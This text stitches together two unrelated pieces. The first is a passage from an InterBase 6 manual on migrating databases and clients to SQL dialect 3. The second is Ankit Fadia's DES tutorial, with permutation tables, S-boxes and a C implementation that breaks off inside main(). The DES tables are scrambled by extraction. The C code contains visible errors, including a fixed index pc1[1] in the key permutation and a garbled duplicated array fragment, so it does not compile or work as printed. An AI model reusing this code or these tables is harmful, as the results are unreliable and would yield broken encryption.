that were left in error. InterBase recommends creating a new script file that contains
only the statements that need to be run against the original database.
For the remaining steps, use a text editor to examine and modify the metadata and script
files. Place copied statements into the new script file in the same order they occur in the
metadata file to avoid dependency errors.
4. Search for each instance of double quotes in the extracted metadata file.
These can occur in triggers, stored procedures, views, domains, table column
defaults, and constraints. Change each double quote that delimits a string to
a single quote. Make a note of any tables that have column-level constraints
or column defaults in double quotes.
Copy each changed statement to your empty script file, but do not copy ALTER TABLE
statements whose only double quotes are in column-level constraints or column
defaults.

44

INTERBASE 6

MIGRATING DATABASES TO DIALECT 3

Important When copying trigger or stored procedure code, be sure to include any
associated SET TERM statements.
Quoted quotes If there is any chance that you have single or double quotes inside of
strings, you must search and replace on a case-by-case basis to avoid inappropriate
changes. The handling of quotation marks within strings is as follows:

TABLE 3.6

String:

In "peg" mode

Double-quoted:

"In ""peg"" mode"

Single-quoted:

'In "peg" mode'

String:

O'Reilly

Double-quoted:

"O'Reilly"

Single-quoted:

'O''Reilly'

Handling quotation marks inside of strings

5. In the new script file, search for occurrences of the TIMESTAMP datatype. In
most cases, these were DATE datatypes in your pre-6 database. For each one,
decide whether you want it to be TIME, TIMESTAMP, or DATE in your dialect 3
database. Change it as needed.
6. Repeat step 5 in the metadata file. Copy each changed statement to your new
script file.
7. In the new script file, search for occurrences of reserved words that are used
as object names and enclose them in double quotes; that makes them
delimited identifiers.
8. Repeat step 7 in the metadata file. Copy each changed statement to your new
script file.
9. In each of the two files, search for each instance of a DECIMAL or NUMERIC
datatype with a precision greater than 9. Consider whether or not you want
data stored in that column or with that domain to be stored as DOUBLE
PRECISION or INT64. See Do you really need to migrate your NUMERIC and
DECIMAL datatypes? on page 48 for a discussion of issues. For occurrences
that should be stored as DOUBLE PRECISION, change the datatype to that.
Leave occurrences that you want stored as INT64 alone for now. Copy each
changed statement that occurs in the metadata file to your new script file.
Perform the following steps in your new script file:

45

CHAPTER 3 MIGRATING TO INTERBASE 6

10. Locate each CREATE TRIGGER and CREATE DOMAIN statement and change it to
ALTER TRIGGER or ALTER DOMAIN as appropriate.
11. Locate each CREATE VIEW statement. Precede it by a corresponding DROP
statement. For example, if you have a CREATE VIEW foo statement, put a DROP
VIEW foo statement right before it, so that when you run this script against
your database, each view first gets dropped and then re-created.
12. If you have any ALTER TABLE statements that you copied because they contain
named table-level constraints, modify the statement so that it does nothing
except drop the named constraint and then add the constraint back with the
single quotes.
13. Check that stored procedure statements are ALTER PROCEDURE statements.
This should already be the case.
14. At the beginning of the script, put a CONNECT statement that connects to the
original database that you are migrating.
15. Make sure your database is backed up and run your script against the
database.
16. Use gfix to change the database dialect to 3.
gfix -sql_dialect 3 database.gdb

Note To run gfix against a database, you must attach as either the database owner or
SYSDBA.

17. At this point, DECIMAL and NUMERIC columns with a precision greater than 9
are still stored as DOUBLE PRECISION. To store the data as INT64, follow the
steps in Migrating NUMERIC and DECIMAL datatypes on page 48.
18. Validate the database using either IBConsole or gfix.
Thats it. Youve got a dialect 3 database. There is a little more work to do if you want
your NUMERIC and DECIMAL columns with a precision of greater than 9 to be stored as
INT64. At this point, they are still stored as DOUBLE PRECISION. To decide whether you want
to change they way data in these columns is stored, read
In addition, there are some optional steps you can take that are described in the following
sections, Column defaults and column constraints and Unnamed table
constraints.
IMPORTANT

46

If you ever extract metadata from the dialect 3 database that you created using the steps
above, and if you plan to use that metadata to create a new database, check to see if the
extracted metadata contains double quotes delimiting string constants in column
defaults, column constraints, or unnamed table constraints. Change any such
occurrences to single quotes before using the metadata to create the new database.

INTERBASE 6

MIGRATING DATABASES TO DIALECT 3

 Column defaults and column constraints


The steps above permitted you to retain double quoted string constants in column
defaults, column constraints, and unnamed table constraints. This is possible because,
once created, InterBase stores them in binary form.
Following the steps above creates a dialect 3 database that is fully functional, but if it
contains double quoted string constants in column defaults, column constraints, or
unnamed column constraints, inconsistencies are visible when you SHOW metadata or
extract it. You can choose to resolve these inconsistencies by following these steps:
1. Back up the database.
2. Examine the metadata to detect each occurrence of a column default or
column constraint that uses double quotes.
3. For each affected column, use the ALTER COLUMN clause of the ALTER TABLE
statement to give the column a temporary name. If column position is likely
to be an issue with any of your clients, change the position as well.
4. Create a new column with the desired datatype, giving it the original column
name and position.
5. Use UPDATE to copy the data from old column to the new column:
UPDATE table_name
SET new_col = old_col;

6. Drop the old column.

 Unnamed table constraints


Read the first two paragraphs under Column defaults and column constraints on
page 47 to understand why you dont always need to change constraints with double
quotes to single-quoted form, and why you might want to change them.
To bring unnamed table constraints that contain double quotes into compliance with the
dialect 3 standard, follow these steps:
1. Back up the database.
2. Examine the metadata to detect each occurrence of an unnamed table
constraint that uses double quotes.
3. For each occurrence, use SHOW TABLE to see the name that InterBase has
assigned to the constraint.
4. Use ALTER TABLE to drop the old constraint, using the name given in the SHOW
TABLE output and add a new constraint. For ease in future handling, give the
constraint a name.

47

CHAPTER 3 MIGRATING TO INTERBASE 6

If SHOW TABLE shows that InterBase stores the unnamed constraint as INTEG_2, then
issue the following statement to change the constraint:
ALTER TABLE foo
DROP CONSTRAINT INTEG_2,
ADD CONSTRAINT new_name
CHECK (col_name IN ('val1', 'val2', 'val3'));

 Migrating NUMERIC and DECIMAL datatypes


If you back up a NUMERIC or DECIMAL column with a precision greater than 9 (for
example, NUMERIC(12,2)) in an InterBase 5 or earlier database and restore the database
as InterBase 6, the column is still stored as DOUBLE PRECISION. Because InterBase does
not allow datatype conversions that could potentially result in data loss, you cannot use
the ALTER COLUMN statement to change the column datatype from DOUBLE PRECISION to
INT64. To migrate a DOUBLE PRECISION column to an INT64 column, you must create a new
INT64 column and copy the contents of the older column into it.
In InterBase 6 dialect 3, when you create a NUMERIC or DECIMAL column with a precision
of greater than 9, data in it is automatically stored as an INT64 exact numeric.
If you want NUMERIC and DECIMAL datatypes with a precision greater than 9 to be stored
as exact numerics, you must take some extra steps after migrating to dialect 3. The
following sections tell you how to decide whether you really need to take these steps and
how to perform them if you decide you want the exact numerics.
DO YOU REALLY NEED TO MIGRATE YOUR NUMERIC AND DECIMAL DATATYPES?

As you migrate you databases to dialect 3, consider the following questions about
columns defined with NUMERIC and DECIMAL datatypes:


Is the precision less than 10? If so, there is no issue. You can migrate without taking any
action and there will be no change in the database and no effect on clients.

For NUMERIC and DECIMAL columns with precision greater than 9, is DOUBLE PRECISION an
appropriate way to store your data?
In many cases, the answer is yes. If you want to continue to store your data as DOUBLE
PRECISION, change the datatype of the column to DOUBLE PRECISION either before or
after migrating your database to dialect 3. This doesnt change any functionality in
dialect 3, but it brings the declaration into line with the storage mode. In a dialect 3
database, newly-created columns of this type are stored as INT64, but migrated columns
are still stored as DOUBLE PRECISION. Changing the declaration avoids confusion.

48

INTERBASE 6

MIGRATING DATABASES TO DIALECT 3

DOUBLE PRECISION may not be appropriate or desirable for financial applications and
others that are sensitive to rounding errors. In this case, you need to take steps to
migrate your column so that it is stored as INT64 in dialect 3. As you make this decision,
remember that INT64 does not store the same range as DOUBLE PRECISION. Check
whether you will experience data loss and whether this is acceptable.
MIGRATING NUMERIC AND DECIMAL DATATYPES

Read Do you really need to migrate your NUMERIC and DECIMAL datatypes? on
page 48 to decide whether you have columns in a dialect 1 database that would be best
stored as 64-bit integers in a dialect 3 database. If this is the case, follow these steps for
each column:
1. Migrate your database to InterBase 6 as described in Method one: in-place
migration on page 44.
2. Use the ALTER COLUMN clause of the ALTER DATABASE statement to change the
name of each affected column to something different from its original name.
If column position is going to be an issue with any of your clients, use ALTER
COLUMN to change the positions as well.
3. Create a new column for each one that you are migrating. Use the original
column names and if necessary, positions. Declare each one as a DECIMAL or
NUMERIC with precision greater than 9.
4. Use UPDATE to copy the data from each old column to its corresponding new
column:
UPDATE tablename
SET new_col = old_col;

5. Check that your data has been successfully copied to the new columns and
drop the old columns.

Method two: migrating to a new database


If you can create a data transfer utility that copies data between databases, the process of
migrating a database to dialect 3 is considerably simplified.
Overview Extract the metadata from your database, examine it for problem areas, and fix

the problems. Use the modified metadata file to create a new dialect 3 database and use
an application to transfer data from the old database to the new.

49

CHAPTER 3 MIGRATING TO INTERBASE 6

1. If you have not migrated the database to version 6, dialect 1, do so first. Back
up the database again.
2. Extract the metadata from the database using isql -x. If you are migrating a
database that contains data structures created with GDML, see Migrating
older databases on page 50.
For the following steps, use a text editor to examine and modify the metadata file.
3. Search for each occurrence of the TIMESTAMP datatype. In most cases, these
were DATE datatypes in your pre-6 database. Decide whether you want it to
be TIME, TIMESTAMP, or DATE in your dialect 3 database. Change it as needed.
4. Find all instances of reserved words that are used as object names and
enclose them in double quotes to make them delimited identifiers.
5. Search for each instance of double quotes in the extracted metadata file.
These can occur in triggers, stored procedures, views, domains, exceptions,
table column defaults, and constraints. Change each double quote to a single
quote.
6. Search for each instance of a DECIMAL or NUMERIC datatype with a precision
greater than 9. Consider whether or not you want that data stored as DOUBLE
PRECISION or INT64. See Do you really need to migrate your NUMERIC and
DECIMAL datatypes? on page 48 for a discussion of issues. For occurrences
that should be stored as DOUBLE PRECISION, change the datatype to that.
Leave occurrences that you want stored as INT64 alone for now.
7. At the beginning of the file, enter SET SQL DIALECT 3. On the next line,
uncomment the CREATE DATABASE statement and edit it as necessary to create
a new database.
8. Run the metadata file as a script to create a new database.
9. Use your data transfer utility to copy data from the old database to the new
dialect 3 database. In the case of a large database, allow significant time for
this.
10. Validate the database using gfix.
11. At this point, DECIMAL and NUMERIC columns with a precision greater than 9
are still stored as DOUBLE PRECISION. To store the data as INT64, follow the
steps in Migrating NUMERIC and DECIMAL datatypes on page 48.

 Migrating older databases


If you have legacy databases in which some data structures were created with GDML, you
may need to extract metadata in a slightly different way.

50

INTERBASE 6

MIGRATING CLIENTS

1. Try extracting metadata as described in Step 2 above and examine it to see if


all tables and other DDL structures are present. If they are not, delete the
metadata file and extract using the -a switch instead of the -x switch. This
extracts objects created in GDML.
2. You may have to change some of the code to SQL form. For example, the
following domain definition
CREATE DOMAIN NO_INIT_FLAG AS SMALLINT
( no_init_flag = 1 or
no_init_flag = 0 or
no_init_flag missing);

needs to be translated to:


CREATE DOMAIN NO_INIT_FLAG AS SMALLINT
CHECK ( VALUE = 1 OR VALUE = 0 OR VALUE IS NULL );

3. Some code may be commented out. For example:


CREATE TABLE BOILER_PLATE (BOILER_PLATE_NAME NAME,
DATE DATE,
CREATED_DATE COMPUTED BY /* Date */);

needs to be changed to:


CREATE TABLE BOILER_PLATE (BOILER_PLATE_NAME NAME,
"DATE" DATE,
CREATED_DATE COMPUTED BY "DATE");

Migrating clients
To migrate an older client application to InterBase 6, install the InterBase 6 client onto
the platform where the client application resides. An InterBase server then recognizes
that client as a version 6 dialect 1 client.
It is good practice to recompile and relink the application and make note of field names,
datatype use, and so on in the new application. When you recompile, state the dialect
explicitly:
SET SQL DIALECT n;

51

CHAPTER 3 MIGRATING TO INTERBASE 6

IMPORTANT

If you have databases that use any of the new version 6 keywords as object identifiers
and you are not migrating those databases to dialect 3, you might want to not migrate
your version 5 clients. If you migrate them to version 6 dialect 1, you lose the ability to
access those keyword columns. See New keywords on page 27.
When you recompile an existing gpre client, you must recompile it with the
gpre -sql_dialect n switch.
There are several paths that permit you to create dialect 3 clients that access all new
InterBase 6 features:


In Delphi 5, make calls to functions in the new InterBase Express (IBX) package. Because
the Delphi 5 beta includes InterBase 5, it ships with a version of IBX that does not include
calls to the new InterBase 6 Services, Install, and Licensing APIs.

To write embedded SQL applications that address all InterBase 6 dialect 3 functionality,
compile them using gpre -sql_dialect 3.
Client

How to migrate

Older applications such as


Dialect is 1; there is no way to change the dialect
InterBase version 5 applications A version 5 client application becomes version 6 dialect 1
client whenever the InterBase 6 client is installed on the
machine with the client
ISQL

Issue the command line option:


-sql_dialect n

Or issue the command


SET SQL DIALECT n;

GPRE

Issue the command line option


-sql_dialect n

Or issue the command


EXEC SQL
SET SQL DIALECT n;

TABLE 3.7

52

BDE

All applications use SQL dialect 1. To access InterBase


dialect 3 features from Delphi 5, use the IBX components

InterClient

All applications use SQL dialect 1

Direct API calls

Set the dialect parameter on isc_dsql_execute_immediate(),


isc_dsql_exec_immed2(), isc_dsql_prepare() API calls to the
desired dialect value: 1 or 3

Migrating clients: summary

INTERBASE 6

IBREPLICATOR MIGRATION ISSUES

IBReplicator migration issues


InterBase 6 contains a new version of IBReplicator that should be used instead of
previous versions. It contains new features, described in the Release Notes and in the
Operations Guide, and a few changes which should be addressed when moving from
InterBase 5 to interBase 6. If you having been using IBReplicator with previous versions
of InterBase, keep these issues in mind:


If you have any schemas defined that have a source database replicating to more than
one target (within the same schema), then you should run the Create System Objects
command for each of those source databases. In such schemas, more than one entry is
placed in the log for any row modified. This does not cause any data errors, but does
cause some changes to be replicated more than once.
Note Do not run the Remove System Objects command, as this will empty the REPL_LOG

table.


If you have been using older licenses purchased from Synectics Software, those licenses
will not work with InterBase 6. You must use the version of IBReplicator for Opensource
InterBase, or buy new licenses from Borland Software Corporation for use with the
version of IBReplicator for Borland InterBase (the certified commercial version of
InterBase).

Migrating data from other DBMS products


If you have a large amount of data in another DBMS such as Paradox, the most efficient
way to bring the data into InterBase is to export the data from the original DBMS into
InterBase external file format. (See the Data Definition Guide for more information
about InterBase external files.) Then insert the data from the external files into the
internal tables. It is best not to have any constraints on new internal tables; you can
validate the database more easily once the data is in InterBase. If constraints do exist, you
will need triggers to massage the incoming data.

53

54

INTERBASE 6

___________________________________________________
Algorithms Explained By Ankit Fadia ankit@bol.net.in
<mailto:ankit@bol.net.in>
___________________________________________________
Encryption has become a part and parcel of our lives and we have
accepted the fact that data is going to encrypted and decrypted at
various stages. However, there is not a single encryption algorithm
followed everywhere. There are a number of algorithms existing, and I
feel there is a need to understand how they work. So this text
explains a number of popular encryption algorithms and makes you look
at them as mathematical formulas.
Data Encryption Standard or DES
The U.S government in 1977 adopted the Data Encryption Standard
(DES) algorithm. According to its developer the DES algorithm is:
It is a block cipher system which transforms 64-bit data blocks under
a 56-bit secret key under a 56-bit secret key, by means of permutation
and substitution.
Now, this tutorial will guide you through the various steps of the DES
encryption algorithm making you more confident in dealing with DES
encryption.
The following is a step by step guide to the DES algorithm, which was
originally written by Matthew Fischer and has been edited by me-:
1.) Firstly, we need to process the key.
1.1 Get a 64-bit key from the user. (Every 8th bit is considered a
parity bit. For a key to have correct parity, each byte should contain an
odd number of "1" bits.)
1.2 Calculate the key schedule.
1.2.1 Perform the following permutation on the 64-bit key. (The
parity bits are discarded, reducing the key to 56 bits. Bit 1 of the
permuted block is bit 57 of the original key, bit 2 is bit 49, and so on

with bit
56 being bit 4 of the original key.)
Permuted Choice 1 (PC-1)
57 49 41 33 25 17 9
1 58 50 42 34 26 18
10 2 59 51 43 35 27
19 11 3 60 52 44 36
63 55 47 39 31 23 15
7 62 54 46 38 30 22
14 6 61 53 45 37 29
21 13 5 28 20 12 4
1.2.2 Split the permuted key into two halves. The first 28 bits are
called C[0] and the last 28 bits are called D[0].
1.2.3

Calculate the 16 subkeys. Start with i = 1.

1.2.3.1 Perform one or two circular left shifts on both C[i-1] and
D[i-1] to get C[i] and D[i], respectively. The number of shifts per
iteration are given in the table below.
Iteration #
Left Shifts

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
1 1 2 2 2 2 2 2 1 2 2 2 2 2 2 1

1.2.3.2 Permute the concatenation C[i]D[i] as indicated below. This


will yield K[i], which is 48 bits long.
Permuted Choice 2 (PC-2)
14 17 11 24 1 5
3 28 15 6 21 10
23 19 12 4 26 8
16 7 27 20 13 2
41 52 31 37 47 55
30 40 51 45 33 48
44 49 39 56 34 53

46 42 50 36 29 32
1.2.3.3 Loop back to 1.2.3.1 until K[16] has been calculated.
2 Process a 64-bit data block.
2.1 Get a 64-bit data block. If the block is shorter than 64 bits, it
should be padded as appropriate for the application.
2.2 Perform the following permutation on the data block.
Initial Permutation (IP)
58
60
62
64
57
59
61
63

50
52
54
56
49
51
53
55

42
44
46
48
41
43
45
47

34
36
38
40
33
35
37
39

26
28
30
32
25
27
29
31

18
20
22
24
17
19
21
23

10
12
14
16
9
11
13
15

2
4
6
8
1
3
5
7

2.3 Split the block into two halves. The first 32 bits are called L[0],
and the last 32 bits are called R[0].
2.4 Apply the 16 subkeys to the data block. Start with i = 1.
2.4.1 Expand the 32-bit R[i-1] into 48 bits according to the bitselection function below.
Expansion (E)
32
4
8
12
16
20

1 2 3 4 5
5 6 7 8 9
9 10 11 12 13
13 14 15 16 17
17 18 19 20 21
21 22 23 24 25

24 25 26 27 28 29
28 29 30 31 32 1
2.4.2 Exclusive-or E(R[i-1]) with K[i].
2.4.3 Break E(R[i-1]) xor K[i] into eight 6-bit blocks. Bits 1-6 are
B[1], bits 7-12 are B[2], and so on with bits 43-48 being B[8].
2.4.4 Substitute the values found in the S-boxes for all B[j]. Start
with j = 1. All values in the S-boxes should be considered 4 bits wide.
2.4.4.1 Take the 1st and 6th bits of B[j] together as a 2-bit value
(call it m) indicating the row in S[j] to look in for the substitution.
2.4.4.2 Take the 2nd through 5th bits of B[j] together as a 4-bit
value (call it n) indicating the column in S[j] to find the substitution.
2.4.4.3 Replace B[j] with S[j][m][n].
Substitution Box 1 (S[1])
14 4 13
0 15 7
4 1 14
15 12 8

1 2
4 14
8 13
2 4

15 11 8 3 10 6 12 5 9
2 13 1 10 6 12 11 9 5
6 2 11 15 12 9 7 3 10
9 1 7 5 11 3 14 10 0

0 7
3 8
5 0
6 13

S[2]
15 1
3 13
0 14
13 8

8 14 6 11
4 7 15 2
7 11 10 4
10 1 3 15

3 4 9
8 14 12
13 1 5
4 2 11

7
0
8
6

2 13 12
1 10 6
12 6 9
7 12 0

0
9
3
5

5 10
11 5
2 15
14 9

S[3]
10 0 9 14 6 3 15 5 1 13 12 7 11 4 2 8
13 7 0 9 3 4 6 10 2 8 5 14 12 11 15 1
13 6 4 9 8 15 3 0 11 1 2 12 5 10 14 7

1 10 13 0 6 9 8 7 4 15 14 3 11 5 2 12
S[4]
7 13
13 8
10 6
3 15

14
11
9
0

3 0
5 6
0 12
6 10

6 9 10
15 0 3
11 7 13
1 13 8

1
4
15
9

2
7
1
4

8 5 11 12 4 15
2 12 1 10 14 9
3 14 5 2 8 4
5 11 12 7 2 14

S[5]
2 12 4 1 7 10 11 6 8
14 11 2 12 4 7 13 1 5
4 2 1 11 10 13 7 8 15
11 8 12 7 1 14 2 13 6

5 3 15 13
0 15 10 3
9 12 5 6
15 0 9 10

0 14 9
9 8 6
3 0 14
4 5 3

S[6]
12 1 10 15
10 15 4 2
9 14 15 5
4 3 2 12

9 2 6 8
7 12 9 5
2 8 12 3
9 5 15 10

0 13 3 4 14 7 5 11
6 1 13 14 0 11 3 8
7 0 4 10 1 13 11 6
11 14 1 7 6 0 8 13

S[7]
4 11 2 14
13 0 11 7
1 4 11 13
6 11 13 8

15
4
12
1

0 8 13 3 12
9 1 10 14 3
3 7 14 10 15
4 10 7 9 5

9 7 5 10
5 12 2 15
6 8 0 5
0 15 14 2

6 1
8 6
9 2
3 12

S[8]
13 2 8
1 15 13
7 11 4
2 1 14

4
8
1
7

6 15 11 1
10 3 7 4
9 12 14 2
4 10 8 13

10
12
0
15

9 3 14
5 6 11
6 10 13
12 9 0

5 0 12 7
0 14 9 2
15 3 5 8
3 5 6 11

2.4.4.4 Loop back to 2.4.4.1 until all 8 blocks have been replaced.

2.4.5 Permute the concatenation of B[1] through B[8] as indicated


below.
Permutation P
16 7 20 21
29 12 28 17
1 15 23 26
5 18 31 10
2 8 24 14
32 27 3 9
19 13 30 6
22 11 4 25
2.4.6 Exclusive-or the resulting value with L[i-1]. Thus, all together,
your R[i] = L[i-1] xor P(S[1](B[1])...S[8](B[8])), where B[j] is a 6-bit
block of E(R[i-1]) xor K[i]. (The function for R[i] is written as, R[i] =
L[i-1] xor f(R[i-1], K[i]).)
2.4.7 L[i] = R[i-1].
2.4.8 Loop back to 2.4.1 until K[16] has been applied.
2.5 Perform the following permutation on the block R[16]L[16].
Final Permutation (IP**-1)
40
39
38
37
36
35
34
33

8
7
6
5
4
3
2
1

48
47
46
45
44
43
42
41

16 56 24 64 32
15 55 23 63 31
14 54 22 62 30
13 53 21 61 29
12 52 20 60 28
11 51 19 59 27
10 50 18 58 26
9 49 17 57 25

This has been a description of how to use the DES algorithm to encrypt
one 64-bit block. To decrypt, use the same process, but just use the
keys K[i] in reverse order. That is, instead of applying K[1] for the
first
iteration, apply K[16], and then K[15] for the second, on down to K[1].
Summaries:
Key schedule:
C[0]D[0] = PC1(key)
for 1 <= i <= 16
C[i] = LS[i](C[i-1])
D[i] = LS[i](D[i-1])
K[i] = PC2(C[i]D[i])
Encipherment:
L[0]R[0] = IP(plain block)
for 1 <= i <= 16
L[i] = R[i-1]
R[i] = L[i-1] xor f(R[i-1], K[i])
cipher block = FP(R[16]L[16])
Decipherment:
R[16]L[16] = IP(cipher block)
for 1 <= i <= 16
R[i-1] = L[i]
L[i-1] = R[i] xor f(L[i], K[i])
plain block = FP(L[0]R[0])

To encrypt or decrypt more than 64 bits there are four official modes
(defined in FIPS PUB 81). One is to go through the above-described
process for each block in succession. This is called Electronic Codebook
(ECB) mode. A stronger method is to exclusive-or each plaintext block
with the preceding ciphertext block prior to encryption. (The first block
is exclusive-or'ed with a secret 64-bit initialization vector (IV).) This is
called Cipher Block Chaining (CBC) mode. The other two modes are
Output Feedback (OFB) and Cipher Feedback (CFB).

When it comes to padding the data block, there are several options.
One is to simply append zeros. Two suggested by FIPS PUB 81 are, if
the data is binary data, fill up the block with bits that are the opposite
of the last bit of data, or, if the data is ASCII data, fill up the block
with random bytes and put the ASCII character for the number of pad
bytes in the last byte of the block. Another technique is to pad the
block with random bytes and in the last 3 bits store the original number
of data bytes.
The DES algorithm can also be used to calculate checksums up to 64
bits long (see FIPS PUB 113). If the number of data bits to be check
summed is not a multiple of 64, the last data block should be padded
with zeros. If the data is ASCII data, the first bit of each byte
should be set to 0. The data is then encrypted in CBC mode with IV =
0. The leftmost n bits (where 16 <= n <= 64, and n is a multiple of 8)
of the final ciphertext block are an n-bit checksum.
Wow, that was one heck of a paper on DES. That would be all you need
to implement DES. Well, if you still have not understood how the DES
algorithm is implemented, then I suggest you go through the following C
program:
#include <stdio.h>
static int keyout[17][48];
void des_init(),lshift(),cypher(),des_encrypt(),des_descrypt();
void des_init(unsigned char *key){
unsigned char c[28],d[28];
static int pc1[56] = {57,49,41,33,25,17,9,
01,58,50,42,34,26,18,
10,02,59,51,43,35,27,
19,11,03,60,52,44,36,
63,55,47,39,31,23,15,
07,62,54,46,38,30,22,
14,06,61,53,45,37,29,
21,13,05,28,20,12,04};
static int pc2[48] = {14,17,11,24,1,5,
3,28,15,6,21,10,
23,19,12,4,26,8,

16,7,27,20,13,2,
41,52,31,37,47,55,
30,40,51,45,33,48,
44,49,39,56,34,53,
46,42,50,36,29,32};
static int nls[17] = {
0,1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1};
static int cd[56],keyb[64];
static int cnt,n=0;
register int i,j;
for(i=0;i<8;i++) /*Read in key*/
for(j=0;j<8;j++) keyb[n++]=(key[i]>>j&0x01);
for(i=0;i<56;i++) /*Permuted choice 1*/
cd[i]=keyb[pc1[1]-1];
for(i=0;i<28;i++){
c[i]=cd[i];
d[i]=cd[i+28];
}
for(cnt=1;cnt<=16;cnt++){
for(i=0;i<nls[cnt];i++){
lshift(c); lshift(d);
}
for(i=0;i<28;i++){
cd[i]=c[i];
cd[i+28]=d[i];
}
for(i=0;i<48;i++) /*Permuted Choice 2*/
keyout[cnt][i]=cd[pc2[i]-1];
}
}
static void lshift(unsigned char shft[]){
register int temp,i;
temp=shft[0];
for(i=0;i<27;i++) shft[i]=shft[i+1];
shft[27]=temp;
}
static void cypher(int *r, int cnt, int *fout){
static int expand[48],b[8][6],sout[8],pin[48];

register int i,j;


static int n,row,col,scnt;
static int p[32]={
16,7,20,21,29,12,28,17,1,15,23,26,
5,18,31,10,2,8,24,14,32,27,3,9,
19,13,30,6,22,11,4,25};
static int e[48] = {32,1,2,3,4,5,
4,5,6,7,8,9,
8,9,10,11,12,13,
12,13,14,15,16,17,
16,17,18,19,20,21,
20,21,22,23,24,25,
24,25,26,27,28,29,
28,29,30,31,32,1};
static char s[8][64] = {
14,4,13,1,2,15,11,8,3,10,6,12,5,9,0,7, /*s1*/
0,15,7,4,14,2,13,1,10,6,12,11,9,5,3,8,
4,1,14,8,13,6,2,11,15,12,9,7,3,10,5,0,
15,12,8,2,4,9,1,7,5,11,3,14,10,0,6,13,
15,1,8,14,6,11,3,4,9,7,2,13,12,0,5,10, /*s2*/
3,13,4,7,15,2,8,14,12,0,1,10,6,9,11,5,
0,14,7,11,10,4,13,1,5,8,12,6,9,3,2,15,
13,8,10,1,3,15,4,2,11,6,7,12,0,5,14,9,
10,0,9,14,6,3,15,5,1,13,12,7,11,4,2,8, /*s3*/
13,7,0,9,3,4,6,10,2,8,5,14,12,11,15,1,
13,6,4,9,8,15,3,0,11,1,2,12,5,10,14,7,
1,10,13,0,6,9,8,7,4,15,14,3,11,5,2,12,
7,13,14,3,0,6,9,10,1,2,8,5,11,12,4,15,/*s4*/
13,8,11,5,6,15,0,3,4,7,2,12,1,10,14,9,
10,6,9,0,12,11,7,13,15,1,3,14,5,2,8,4,
3,15,0,6,10,1,13,8,9,4,5,11,12,7,2,14,
2,12,4,1,7,10,11,6,8,5,3,15,13,0,14,9,/*s5*/
14,11,2,12,4,7,13,1,5,0,15,10,3,9,8,6,
4,2,1,11,10,13,7,8,15,9,12,5,6,3,0,14,
11,8,12,7,1,14,2,13,6,15,0,9,10,4,5,3,
12,1,10,15,9,2,6,8,0,13,3,4,14,7,5,11, /*s6*/
10,15,4,2,7,12,9,5,6,1,13,14,0,11,3,8,
9,14,15,5,2,8,12,3,7,0,4,10,1,13,11,6,

4,3,2,12,9,5,15,10,11,14,1,7,6,0,8,13,
4,11,2,14,15,0,8,13,3,12,9,7,5,10,6,1,/*s7*/
13,0,11,7,4,9,1,10,14,3,5,12,2,15,8,6,
1,4,11,13,12,3,7,14,10,15,6,8,0,5,9,2,
6,11,13,8,1,4,10,7,9,5,0,15,14,2,3,12,
13,2,8,4,6,15,11,1,10,9,3,14,5,0,12,7, /*s8*/
1,15,13,8,10,3,7,4,12,5,6,11,0,14,9,2,
7,11,4,1,9,12,14,2,0,6,10,13,15,3,5,8,
2,1,14,7,4,10,8,13,15,12,9,0,3,5,6,11
};
for(i=0;i<48;i++) expand[i]=r[e[i]-1]; /*Expansion Function*/
for(i=n=0;i<8;i++) {
for(j=0;j<6;j++,n++) b[i][j]=expand[n]^keyout[cnt][n];
}
/*Selection functions*/
for(scnt=n=0;scnt<8;scnt++){
row=(b[scnt][0]<<1)+b[scnt][5];
col=(b[scnt][1]<<3)+(b[scnt][2]<<2)+(b[scnt][3]<<1)+b[scnt][4];
sout[scnt]=s[scnt][(row<<4)+col];
for(i=3;i>=0;i--){
pin[n]=sout[scnt]>>i;
sout[scnt]=sout[scnt]-(pin[n++]<<i);
}
}
for(i=0;i<32;i++) fout[i]=pin[p[i]-1]; /*Permutation Function*/
}
static int p[64] = {58,50,42,34,26,18,10,2,
60,52,44,36,28,20,12,4,
62,54,46,38,30,22,14,6,
64,56,48,40,32,24,16,8,
5 = {58,50,42,34,26,18,10,2,
60,52,44,36,28,20,12,4,
62,54,46,38,30,22,14,6,
64,56,48,40,32,24,16,8,
57,49,41,33,25,17,9,1,
59,51,43,35,27,19,11,3,
61,53,45,37,29,21,13,5,
63,55,47,39,31,23,15,7};

static int invp[64]={


40, 8,48,16,56,24,64,32,39, 7,47,15,55,23,63,31,
38, 6,46,14,54,22,62,30,37, 5,45,13,53,21,61,29,
36, 4,44,12,52,20,60,28,35, 3,43,11,51,19,59,27,
34, 2,42,10,50,18,58,26,33, 1,41, 9,49,17,57,25};
void des_encrypt(unsigned char *input){
static unsigned char out[64];
static int inputb[64],lr[64],l[32],r[32];
static int fn[32];
static int cnt,n;
register int i,j;
for(i=n=0;i<8;i++)
for(j=0;j<8;j++) inputb[n++]=(input[i]>>j&0x01);
for(i=0;i<64;i++){ /*Initial Permutation*/
lr[i]=inputb[p[i]-1];
if(i<32) l[i]=lr[i];
else r[i-32]=lr[i];
}
for(cnt=1;cnt<=16;cnt++){ /*Main encryption loop*/
cypher(r,cnt,fn);
for(i=0;i<32;i++){
j=r[i];
r[i]=l[i]^fn[i];
l[i]=j;
}
}
for(i=0;i<32;i++){
lr[i]=r[i];
lr[i+32]=l[i];
}
for(i=0;i<64;i++) out[i]=lr[invp[i]-1]; /*Inverse IP*/
for(i=1;i<=8;i++)
for(j=1;j<=8;j++) input[i-1]=(input[i-1]<<1)|out[i*8-j];
}
void des_decrypt(unsigned char *input){
static unsigned char out[64];
static int inputb[64],lr[64],l[32],r[32];
static int fn[32];

static int cnt,rtemp,n;


register int i,j;
for(i=n=0;i<8;i++)
for(j=0;j<8;j++) inputb[n++]=(input[i]>>j&0x01);
for(i=0;i<64;i++){ /*Initial Permutation*/
lr[i]=inputb[p[i]-1];
if(i<32) l[i]=lr[i];
else r[i-32]=lr[i];
}
for(cnt=16;cnt>0;cnt--){ /*Main decryption loop*/
cypher(r,cnt,fn);
for(i=0;i<32;i++){
rtemp=r[i];
if(l[i]==1 && fn[i]==1) r[i]=0;
else r[i]=(l[i] || fn[i]);
l[i]=rtemp;
}
}
for(i=0;i<32;i++){
lr[i]=r[i];
lr[i+32]=l[i];
}
for(i=0;i<64;i++) out[i]=lr[invp[i]-1]; /*Inverse IP*/
for(i=1;i<=8;i++)
for(j=1;j<=8;j++) input[i-1]=(input[i-1]<<1) | out[i*8-j];
}
int main(int argc, char *argv[]){
unsigned char *key;
unsigned char data[8];
int n;
FILE *in;
FILE *out;
if (argc!=4) {
